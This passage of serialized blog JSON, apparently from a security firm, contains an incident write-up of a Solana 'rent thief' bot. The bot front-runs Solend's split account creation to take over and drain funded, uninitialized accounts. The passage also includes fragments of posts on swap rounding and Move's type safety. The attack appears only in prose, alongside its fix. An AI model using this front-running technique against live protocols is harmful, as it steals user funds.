security",{"type":27,"value":9376},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":22,"tag":23,"props":9378,"children":9379},{},[9380,9382,9389],{"type":27,"value":9381},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":22,"tag":80,"props":9383,"children":9386},{"href":9384,"rel":9385},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[84],[9387],{"type":27,"value":9388},"port-mortem of the NSS overflow",{"type":27,"value":231},{"type":22,"tag":23,"props":9391,"children":9392},{},[9393],{"type":22,"tag":7959,"props":9394,"children":9396},{"alt":7,"src":9395},"/posts/spl-swap/p0.png",[],{"type":22,"tag":23,"props":9398,"children":9399},{},[9400],{"type":27,"value":9401},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":22,"tag":23,"props":9403,"children":9404},{},[9405],{"type":27,"value":9406},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":22,"tag":23,"props":9408,"children":9409},{},[9410],{"type":27,"value":9411},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":22,"tag":6891,"props":9413,"children":9414},{},[9415],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":9417},[9418,9419,9420,9421],{"id":6968,"depth":157,"text":6971},{"id":7965,"depth":157,"text":7968},{"id":8270,"depth":157,"text":8273},{"id":9355,"depth":157,"text":9358},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":9426,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9427,"description":9428,"image":9429,"date":9431,"isFeatured":15,"onBlogPage":15,"tags":9432,"body":9433,"_type":6912,"_id":9756,"_source":6914,"_file":9757,"_stem":9758,"_extension":6917},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":9430,"width":12,"height":13},"/posts/rent-thief/title.jpg","2022-08-19",[6929,6930],{"type":19,"children":9434,"toc":9749},[9435,9440,9446,9451,9456,9461,9467,9480,9527,9557,9566,9571,9576,9581,9587,9600,9616,9621,9626,9641,9645,9650,9665,9672,9677,9687,9694,9698,9703,9709,9714,9719,9724,9730,9735],{"type":22,"tag":23,"props":9436,"children":9437},{},[9438],{"type":27,"value":9439},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":22,"tag":53,"props":9441,"children":9443},{"id":9442},"background",[9444],{"type":27,"value":9445},"Background",{"type":22,"tag":23,"props":9447,"children":9448},{},[9449],{"type":27,"value":9450},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":22,"tag":23,"props":9452,"children":9453},{},[9454],{"type":27,"value":9455},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":22,"tag":23,"props":9457,"children":9458},{},[9459],{"type":27,"value":9460},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":22,"tag":53,"props":9462,"children":9464},{"id":9463},"the-exploit",[9465],{"type":27,"value":9466},"The Exploit",{"type":22,"tag":23,"props":9468,"children":9469},{},[9470,9472,9478],{"type":27,"value":9471},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":22,"tag":30,"props":9473,"children":9475},{"className":9474},[],[9476],{"type":27,"value":9477},"init_reserve",{"type":27,"value":9479}," function, which creates 6 new accounts to store data about the reserve:",{"type":22,"tag":6828,"props":9481,"children":9482},{},[9483,9488,9493,9498,9509,9514],{"type":22,"tag":6832,"props":9484,"children":9485},{},[9486],{"type":27,"value":9487},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":22,"tag":6832,"props":9489,"children":9490},{},[9491],{"type":27,"value":9492},"reserve liquidity token account - holds deposited tokens",{"type":22,"tag":6832,"props":9494,"children":9495},{},[9496],{"type":27,"value":9497},"fee receiver token account - account which will receive origination fees on borrows",{"type":22,"tag":6832,"props":9499,"children":9500},{},[9501,9503],{"type":27,"value":9502},"reserve collateral mint account - deposit receipt token, also known as ",{"type":22,"tag":30,"props":9504,"children":9506},{"className":9505},[],[9507],{"type":27,"value":9508},"cTokens",{"type":22,"tag":6832,"props":9510,"children":9511},{},[9512],{"type":27,"value":9513},"reserve collateral token account - holds users' collateral tokens",{"type":22,"tag":6832,"props":9515,"children":9516},{},[9517,9519,9525],{"type":27,"value":9518},"creator collateral token account - creator's ",{"type":22,"tag":30,"props":9520,"children":9522},{"className":9521},[],[9523],{"type":27,"value":9524},"cToken",{"type":27,"value":9526}," account",{"type":22,"tag":23,"props":9528,"children":9529},{},[9530,9532,9537,9539,9544,9545,9550,9552],{"type":27,"value":9531},"Account creation and initialization are ",{"type":22,"tag":6961,"props":9533,"children":9534},{},[9535],{"type":27,"value":9536},"usually",{"type":27,"value":9538}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":22,"tag":30,"props":9540,"children":9542},{"className":9541},[],[9543],{"type":27,"value":9477},{"type":27,"value":78},{"type":22,"tag":6961,"props":9546,"children":9547},{},[9548],{"type":27,"value":9549},"supposed",{"type":27,"value":9551}," to look like:\n",{"type":22,"tag":7959,"props":9553,"children":9556},{"src":9554,"alt":9555},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":22,"tag":23,"props":9558,"children":9559},{},[9560,9562],{"type":27,"value":9561},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":22,"tag":7959,"props":9563,"children":9565},{"src":9564,"alt":9555},"/posts/rent-thief/attacktransac.png",[],{"type":22,"tag":23,"props":9567,"children":9568},{},[9569],{"type":27,"value":9570},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":22,"tag":23,"props":9572,"children":9573},{},[9574],{"type":27,"value":9575},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":22,"tag":23,"props":9577,"children":9578},{},[9579],{"type":27,"value":9580},"Despite this lost cost, this is pretty annoying...",{"type":22,"tag":53,"props":9582,"children":9584},{"id":9583},"example",[9585],{"type":27,"value":9586},"Example",{"type":22,"tag":23,"props":9588,"children":9589},{},[9590,9592,9599],{"type":27,"value":9591},"Let's take a look at ",{"type":22,"tag":80,"props":9593,"children":9596},{"href":9594,"rel":9595},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[84],[9597],{"type":27,"value":9598},"a real attack",{"type":27,"value":231},{"type":22,"tag":23,"props":9601,"children":9602},{},[9603,9610,9612],{"type":22,"tag":80,"props":9604,"children":9607},{"href":9605,"rel":9606},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[84],[9608],{"type":27,"value":9609},"Transaction 1",{"type":27,"value":9611},":\n",{"type":22,"tag":7959,"props":9613,"children":9615},{"alt":7,"src":9614},"https://i.imgur.com/xJvIwgc.png",[],{"type":22,"tag":23,"props":9617,"children":9618},{},[9619],{"type":27,"value":9620},"(...more accounts truncated)",{"type":22,"tag":23,"props":9622,"children":9623},{},[9624],{"type":27,"value":9625},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":22,"tag":23,"props":9627,"children":9628},{},[9629,9636,9637],{"type":22,"tag":80,"props":9630,"children":9633},{"href":9631,"rel":9632},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[84],[9634],{"type":27,"value":9635},"Attacker's Transaction",{"type":27,"value":9611},{"type":22,"tag":7959,"props":9638,"children":9640},{"alt":7,"src":9639},"https://i.imgur.com/CpSKuL3.png",[],{"type":22,"tag":23,"props":9642,"children":9643},{},[9644],{"type":27,"value":9620},{"type":22,"tag":23,"props":9646,"children":9647},{},[9648],{"type":27,"value":9649},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":22,"tag":23,"props":9651,"children":9652},{},[9653,9660,9661],{"type":22,"tag":80,"props":9654,"children":9657},{"href":9655,"rel":9656},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[84],[9658],{"type":27,"value":9659},"Transaction 2",{"type":27,"value":9611},{"type":22,"tag":7959,"props":9662,"children":9664},{"alt":7,"src":9663},"https://i.imgur.com/of0GIdw.png",[],{"type":22,"tag":23,"props":9666,"children":9667},{},[9668],{"type":22,"tag":7959,"props":9669,"children":9671},{"alt":7,"src":9670},"https://i.imgur.com/0STSyv8.png",[],{"type":22,"tag":23,"props":9673,"children":9674},{},[9675],{"type":27,"value":9676},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":22,"tag":23,"props":9678,"children":9679},{},[9680,9686],{"type":22,"tag":80,"props":9681,"children":9684},{"href":9682,"rel":9683},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[84],[9685],{"type":27,"value":9635},{"type":27,"value":169},{"type":22,"tag":23,"props":9688,"children":9689},{},[9690],{"type":22,"tag":7959,"props":9691,"children":9693},{"alt":7,"src":9692},"https://i.imgur.com/AmSPdmy.png",[],{"type":22,"tag":23,"props":9695,"children":9696},{},[9697],{"type":27,"value":9620},{"type":22,"tag":23,"props":9699,"children":9700},{},[9701],{"type":27,"value":9702},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":22,"tag":53,"props":9704,"children":9706},{"id":9705},"impact",[9707],{"type":27,"value":9708},"Impact",{"type":22,"tag":23,"props":9710,"children":9711},{},[9712],{"type":27,"value":9713},"Rent-thieving attacks don't steal much money.",{"type":22,"tag":23,"props":9715,"children":9716},{},[9717],{"type":27,"value":9718},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":22,"tag":23,"props":9720,"children":9721},{},[9722],{"type":27,"value":9723},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":22,"tag":53,"props":9725,"children":9727},{"id":9726},"solution",[9728],{"type":27,"value":9729},"Solution",{"type":22,"tag":23,"props":9731,"children":9732},{},[9733],{"type":27,"value":9734},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":22,"tag":23,"props":9736,"children":9737},{},[9738,9740,9747],{"type":27,"value":9739},"As a more permenant solution, Solend implemented ",{"type":22,"tag":80,"props":9741,"children":9744},{"href":9742,"rel":9743},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[84],[9745],{"type":27,"value":9746},"an onchain program",{"type":27,"value":9748}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":157,"depth":157,"links":9750},[9751,9752,9753,9754,9755],{"id":9442,"depth":157,"text":9445},{"id":9463,"depth":157,"text":9466},{"id":9583,"depth":157,"text":9586},{"id":9705,"depth":157,"text":9708},{"id":9726,"depth":157,"text":9729},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":9760,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9761,"description":9762,"author":9763,"image":9764,"date":9768,"isFeatured":15,"onBlogPage":15,"body":9769,"_type":6912,"_id":13265,"_source":6914,"_file":13266,"_stem":13267,"_extension":6917},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":9765,"height":9766,"width":9767},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":19,"children":9770,"toc":13260},[9771,9776,9781,9800,9806,9818,9909,9916,10032,10040,10062,10214,10219,10474,10495,10530,10535,10555,10560,10571,10583,10789,10801,10815,10828,11085,11097,11311,11316,11344,11489,11508,11513,11774,11786,11791,11804,11810,11815,11820,11832,11846,11851,11950,11962,11975,12248,12253,12265,12270,12324,12344,12349,13229,13233,13238,13243,13256],{"type":22,"tag":23,"props":9772,"children":9773},{},[9774],{"type":27,"value":9775},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":22,"tag":23,"props":9777,"children":9778},{},[9779],{"type":27,"value":9780},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":22,"tag":23,"props":9782,"children":9783},{},[9784,9786,9791,9793,9798],{"type":27,"value":9785},"In this piece I'll seek to discuss exactly ",{"type":22,"tag":6961,"props":9787,"children":9788},{},[9789],{"type":27,"value":9790},"how",{"type":27,"value":9792}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":22,"tag":6961,"props":9794,"children":9795},{},[9796],{"type":27,"value":9797},"structurally",{"type":27,"value":9799}," safer programs.",{"type":22,"tag":53,"props":9801,"children":9803},{"id":9802},"types",[9804],{"type":27,"value":9805},"Types",{"type":22,"tag":23,"props":9807,"children":9808},{},[9809,9811,9817],{"type":27,"value":9810},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":22,"tag":30,"props":9812,"children":9814},{"className":9813},[],[9815],{"type":27,"value":9816},"coin.move",{"type":27,"value":231},{"type":22,"tag":91,"props":9819,"children":9821},{"className":93,"code":9820,"language":95,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[9822],{"type":22,"tag":30,"props":9823,"children":9824},{"__ignoreMap":7},[9825,9833,9873,9881,9901],{"type":22,"tag":101,"props":9826,"children":9827},{"class":103,"line":104},[9828],{"type":22,"tag":101,"props":9829,"children":9830},{"style":2215},[9831],{"type":27,"value":9832}," /// Main structure representing a coin/token in an account's custody.\n",{"type":22,"tag":101,"props":9834,"children":9835},{"class":103,"line":157},[9836,9841,9845,9849,9853,9857,9861,9865,9869],{"type":22,"tag":101,"props":9837,"children":9838},{"style":108},[9839],{"type":27,"value":9840}," struct",{"type":22,"tag":101,"props":9842,"children":9843},{"style":114},[9844],{"type":27,"value":117},{"type":22,"tag":101,"props":9846,"children":9847},{"style":120},[9848],{"type":27,"value":123},{"type":22,"tag":101,"props":9850,"children":9851},{"style":126},[9852],{"type":27,"value":129},{"type":22,"tag":101,"props":9854,"children":9855},{"style":114},[9856],{"type":27,"value":134},{"type":22,"tag":101,"props":9858,"children":9859},{"style":120},[9860],{"type":27,"value":139},{"type":22,"tag":101,"props":9862,"children":9863},{"style":126},[9864],{"type":27,"value":144},{"type":22,"tag":101,"props":9866,"children":9867},{"style":126},[9868],{"type":27,"value":149},{"type":22,"tag":101,"props":9870,"children":9871},{"style":120},[9872],{"type":27,"value":154},{"type":22,"tag":101,"props":9874,"children":9875},{"class":103,"line":182},[9876],{"type":22,"tag":101,"props":9877,"children":9878},{"style":2215},[9879],{"type":27,"value":9880}," /// Amount of coin this address has.\n",{"type":22,"tag":101,"props":9882,"children":9883},{"class":103,"line":367},[9884,9889,9893,9897],{"type":22,"tag":101,"props":9885,"children":9886},{"style":126},[9887],{"type":27,"value":9888}," value",{"type":22,"tag":101,"props":9890,"children":9891},{"style":166},[9892],{"type":27,"value":169},{"type":22,"tag":101,"props":9894,"children":9895},{"style":114},[9896],{"type":27,"value":174},{"type":22,"tag":101,"props":9898,"children":9899},{"style":120},[9900],{"type":27,"value":179},{"type":22,"tag":101,"props":9902,"children":9903},{"class":103,"line":398},[9904],{"type":22,"tag":101,"props":9905,"children":9906},{"style":120},[9907],{"type":27,"value":9908}," }\n",{"type":22,"tag":23,"props":9910,"children":9911},{},[9912],{"type":22,"tag":6961,"props":9913,"children":9914},{},[9915],{"type":27,"value":17},{"type":22,"tag":91,"props":9917,"children":9919},{"className":93,"code":9918,"language":95,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[9920],{"type":22,"tag":30,"props":9921,"children":9922},{"__ignoreMap":7},[9923,9931,9979,9996,10025],{"type":22,"tag":101,"props":9924,"children":9925},{"class":103,"line":104},[9926],{"type":22,"tag":101,"props":9927,"children":9928},{"style":2215},[9929],{"type":27,"value":9930}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":22,"tag":101,"props":9932,"children":9933},{"class":103,"line":157},[9934,9938,9942,9946,9950,9955,9959,9963,9967,9971,9975],{"type":22,"tag":101,"props":9935,"children":9936},{"style":108},[9937],{"type":27,"value":9840},{"type":22,"tag":101,"props":9939,"children":9940},{"style":114},[9941],{"type":27,"value":117},{"type":22,"tag":101,"props":9943,"children":9944},{"style":120},[9945],{"type":27,"value":123},{"type":22,"tag":101,"props":9947,"children":9948},{"style":126},[9949],{"type":27,"value":129},{"type":22,"tag":101,"props":9951,"children":9952},{"style":114},[9953],{"type":27,"value":9954}," T",{"type":22,"tag":101,"props":9956,"children":9957},{"style":120},[9958],{"type":27,"value":139},{"type":22,"tag":101,"props":9960,"children":9961},{"style":126},[9962],{"type":27,"value":144},{"type":22,"tag":101,"props":9964,"children":9965},{"style":126},[9966],{"type":27,"value":310},{"type":22,"tag":101,"props":9968,"children":9969},{"style":120},[9970],{"type":27,"value":758},{"type":22,"tag":101,"props":9972,"children":9973},{"style":126},[9974],{"type":27,"value":256},{"type":22,"tag":101,"props":9976,"children":9977},{"style":120},[9978],{"type":27,"value":154},{"type":22,"tag":101,"props":9980,"children":9981},{"class":103,"line":182},[9982,9987,9991],{"type":22,"tag":101,"props":9983,"children":9984},{"style":126},[9985],{"type":27,"value":9986}," id",{"type":22,"tag":101,"props":9988,"children":9989},{"style":166},[9990],{"type":27,"value":169},{"type":22,"tag":101,"props":9992,"children":9993},{"style":120},[9994],{"type":27,"value":9995}," UID,\n",{"type":22,"tag":101,"props":9997,"children":9998},{"class":103,"line":367},[9999,10004,10008,10013,10017,10021],{"type":22,"tag":101,"props":10000,"children":10001},{"style":126},[10002],{"type":27,"value":10003}," balance",{"type":22,"tag":101,"props":10005,"children":10006},{"style":166},[10007],{"type":27,"value":169},{"type":22,"tag":101,"props":10009,"children":10010},{"style":114},[10011],{"type":27,"value":10012}," Balance",{"type":22,"tag":101,"props":10014,"children":10015},{"style":120},[10016],{"type":27,"value":123},{"type":22,"tag":101,"props":10018,"children":10019},{"style":114},[10020],{"type":27,"value":840},{"type":22,"tag":101,"props":10022,"children":10023},{"style":120},[10024],{"type":27,"value":527},{"type":22,"tag":101,"props":10026,"children":10027},{"class":103,"line":398},[10028],{"type":22,"tag":101,"props":10029,"children":10030},{"style":120},[10031],{"type":27,"value":9908},{"type":22,"tag":23,"props":10033,"children":10034},{},[10035],{"type":22,"tag":6961,"props":10036,"children":10037},{},[10038],{"type":27,"value":10039},"sui",{"type":22,"tag":23,"props":10041,"children":10042},{},[10043,10045,10052,10054,10060],{"type":27,"value":10044},"Pulling an example from ",{"type":22,"tag":80,"props":10046,"children":10049},{"href":10047,"rel":10048},"https://pontem.network/",[84],[10050],{"type":27,"value":10051},"Pontem Network's",{"type":27,"value":10053}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":22,"tag":30,"props":10055,"children":10057},{"className":10056},[],[10058],{"type":27,"value":10059},"LiquidityPool",{"type":27,"value":10061}," natively embeds this type information into it's fields.",{"type":22,"tag":91,"props":10063,"children":10065},{"className":93,"code":10064,"language":95,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[10066],{"type":22,"tag":30,"props":10067,"children":10068},{"__ignoreMap":7},[10069,10077,10141,10170,10199,10207],{"type":22,"tag":101,"props":10070,"children":10071},{"class":103,"line":104},[10072],{"type":22,"tag":101,"props":10073,"children":10074},{"style":2215},[10075],{"type":27,"value":10076}," /// Liquidity pool with reserves.\n",{"type":22,"tag":101,"props":10078,"children":10079},{"class":103,"line":157},[10080,10085,10090,10094,10098,10103,10107,10111,10116,10120,10124,10129,10133,10137],{"type":22,"tag":101,"props":10081,"children":10082},{"style":108},[10083],{"type":27,"value":10084}," struct",{"type":22,"tag":101,"props":10086,"children":10087},{"style":114},[10088],{"type":27,"value":10089}," LiquidityPool",{"type":22,"tag":101,"props":10091,"children":10092},{"style":120},[10093],{"type":27,"value":123},{"type":22,"tag":101,"props":10095,"children":10096},{"style":126},[10097],{"type":27,"value":129},{"type":22,"tag":101,"props":10099,"children":10100},{"style":114},[10101],{"type":27,"value":10102}," X",{"type":22,"tag":101,"props":10104,"children":10105},{"style":120},[10106],{"type":27,"value":758},{"type":22,"tag":101,"props":10108,"children":10109},{"style":126},[10110],{"type":27,"value":129},{"type":22,"tag":101,"props":10112,"children":10113},{"style":114},[10114],{"type":27,"value":10115}," Y",{"type":22,"tag":101,"props":10117,"children":10118},{"style":120},[10119],{"type":27,"value":758},{"type":22,"tag":101,"props":10121,"children":10122},{"style":126},[10123],{"type":27,"value":129},{"type":22,"tag":101,"props":10125,"children":10126},{"style":120},[10127],{"type":27,"value":10128}," LP> ",{"type":22,"tag":101,"props":10130,"children":10131},{"style":126},[10132],{"type":27,"value":144},{"type":22,"tag":101,"props":10134,"children":10135},{"style":126},[10136],{"type":27,"value":310},{"type":22,"tag":101,"props":10138,"children":10139},{"style":120},[10140],{"type":27,"value":154},{"type":22,"tag":101,"props":10142,"children":10143},{"class":103,"line":182},[10144,10149,10153,10157,10161,10166],{"type":22,"tag":101,"props":10145,"children":10146},{"style":126},[10147],{"type":27,"value":10148}," coin_x_reserve",{"type":22,"tag":101,"props":10150,"children":10151},{"style":166},[10152],{"type":27,"value":169},{"type":22,"tag":101,"props":10154,"children":10155},{"style":114},[10156],{"type":27,"value":117},{"type":22,"tag":101,"props":10158,"children":10159},{"style":120},[10160],{"type":27,"value":123},{"type":22,"tag":101,"props":10162,"children":10163},{"style":114},[10164],{"type":27,"value":10165},"X",{"type":22,"tag":101,"props":10167,"children":10168},{"style":120},[10169],{"type":27,"value":343},{"type":22,"tag":101,"props":10171,"children":10172},{"class":103,"line":367},[10173,10178,10182,10186,10190,10195],{"type":22,"tag":101,"props":10174,"children":10175},{"style":126},[10176],{"type":27,"value":10177}," coin_y_reserve",{"type":22,"tag":101,"props":10179,"children":10180},{"style":166},[10181],{"type":27,"value":169},{"type":22,"tag":101,"props":10183,"children":10184},{"style":114},[10185],{"type":27,"value":117},{"type":22,"tag":101,"props":10187,"children":10188},{"style":120},[10189],{"type":27,"value":123},{"type":22,"tag":101,"props":10191,"children":10192},{"style":114},[10193],{"type":27,"value":10194},"Y",{"type":22,"tag":101,"props":10196,"children":10197},{"style":120},[10198],{"type":27,"value":343},{"type":22,"tag":101,"props":10200,"children":10201},{"class":103,"line":398},[10202],{"type":22,"tag":101,"props":10203,"children":10204},{"style":2215},[10205],{"type":27,"value":10206}," // ...\n",{"type":22,"tag":101,"props":10208,"children":10209},{"class":103,"line":428},[10210],{"type":22,"tag":101,"props":10211,"children":10212},{"style":120},[10213],{"type":27,"value":1734},{"type":22,"tag":23,"props":10215,"children":10216},{},[10217],{"type":27,"value":10218},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":22,"tag":91,"props":10220,"children":10222},{"className":93,"code":10221,"language":95,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[10223],{"type":22,"tag":30,"props":10224,"children":10225},{"__ignoreMap":7},[10226,10264,10284,10312,10340,10390,10398,10405],{"type":22,"tag":101,"props":10227,"children":10228},{"class":103,"line":104},[10229,10234,10238,10243,10247,10251,10255,10259],{"type":22,"tag":101,"props":10230,"children":10231},{"style":126},[10232],{"type":27,"value":10233}," public",{"type":22,"tag":101,"props":10235,"children":10236},{"style":126},[10237],{"type":27,"value":826},{"type":22,"tag":101,"props":10239,"children":10240},{"style":126},[10241],{"type":27,"value":10242}," mint",{"type":22,"tag":101,"props":10244,"children":10245},{"style":120},[10246],{"type":27,"value":123},{"type":22,"tag":101,"props":10248,"children":10249},{"style":114},[10250],{"type":27,"value":10165},{"type":22,"tag":101,"props":10252,"children":10253},{"style":120},[10254],{"type":27,"value":758},{"type":22,"tag":101,"props":10256,"children":10257},{"style":114},[10258],{"type":27,"value":10194},{"type":22,"tag":101,"props":10260,"children":10261},{"style":120},[10262],{"type":27,"value":10263},", LP>(\n",{"type":22,"tag":101,"props":10265,"children":10266},{"class":103,"line":157},[10267,10272,10276,10280],{"type":22,"tag":101,"props":10268,"children":10269},{"style":126},[10270],{"type":27,"value":10271}," pool_addr",{"type":22,"tag":101,"props":10273,"children":10274},{"style":166},[10275],{"type":27,"value":169},{"type":22,"tag":101,"props":10277,"children":10278},{"style":126},[10279],{"type":27,"value":3540},{"type":22,"tag":101,"props":10281,"children":10282},{"style":120},[10283],{"type":27,"value":179},{"type":22,"tag":101,"props":10285,"children":10286},{"class":103,"line":182},[10287,10292,10296,10300,10304,10308],{"type":22,"tag":101,"props":10288,"children":10289},{"style":126},[10290],{"type":27,"value":10291}," coin_x",{"type":22,"tag":101,"props":10293,"children":10294},{"style":166},[10295],{"type":27,"value":169},{"type":22,"tag":101,"props":10297,"children":10298},{"style":114},[10299],{"type":27,"value":117},{"type":22,"tag":101,"props":10301,"children":10302},{"style":120},[10303],{"type":27,"value":123},{"type":22,"tag":101,"props":10305,"children":10306},{"style":114},[10307],{"type":27,"value":10165},{"type":22,"tag":101,"props":10309,"children":10310},{"style":120},[10311],{"type":27,"value":343},{"type":22,"tag":101,"props":10313,"children":10314},{"class":103,"line":367},[10315,10320,10324,10328,10332,10336],{"type":22,"tag":101,"props":10316,"children":10317},{"style":126},[10318],{"type":27,"value":10319}," coin_y",{"type":22,"tag":101,"props":10321,"children":10322},{"style":166},[10323],{"type":27,"value":169},{"type":22,"tag":101,"props":10325,"children":10326},{"style":114},[10327],{"type":27,"value":117},{"type":22,"tag":101,"props":10329,"children":10330},{"style":120},[10331],{"type":27,"value":123},{"type":22,"tag":101,"props":10333,"children":10334},{"style":114},[10335],{"type":27,"value":10194},{"type":22,"tag":101,"props":10337,"children":10338},{"style":120},[10339],{"type":27,"value":527},{"type":22,"tag":101,"props":10341,"children":10342},{"class":103,"line":398},[10343,10348,10352,10356,10360,10365,10369,10373,10377,10381,10386],{"type":22,"tag":101,"props":10344,"children":10345},{"style":120},[10346],{"type":27,"value":10347}," )",{"type":22,"tag":101,"props":10349,"children":10350},{"style":166},[10351],{"type":27,"value":169},{"type":22,"tag":101,"props":10353,"children":10354},{"style":114},[10355],{"type":27,"value":117},{"type":22,"tag":101,"props":10357,"children":10358},{"style":120},[10359],{"type":27,"value":123},{"type":22,"tag":101,"props":10361,"children":10362},{"style":114},[10363],{"type":27,"value":10364},"LP",{"type":22,"tag":101,"props":10366,"children":10367},{"style":120},[10368],{"type":27,"value":139},{"type":22,"tag":101,"props":10370,"children":10371},{"style":126},[10372],{"type":27,"value":906},{"type":22,"tag":101,"props":10374,"children":10375},{"style":114},[10376],{"type":27,"value":10089},{"type":22,"tag":101,"props":10378,"children":10379},{"style":120},[10380],{"type":27,"value":758},{"type":22,"tag":101,"props":10382,"children":10383},{"style":114},[10384],{"type":27,"value":10385},"EventsStore",{"type":22,"tag":101,"props":10387,"children":10388},{"style":120},[10389],{"type":27,"value":154},{"type":22,"tag":101,"props":10391,"children":10392},{"class":103,"line":428},[10393],{"type":22,"tag":101,"props":10394,"children":10395},{"style":2215},[10396],{"type":27,"value":10397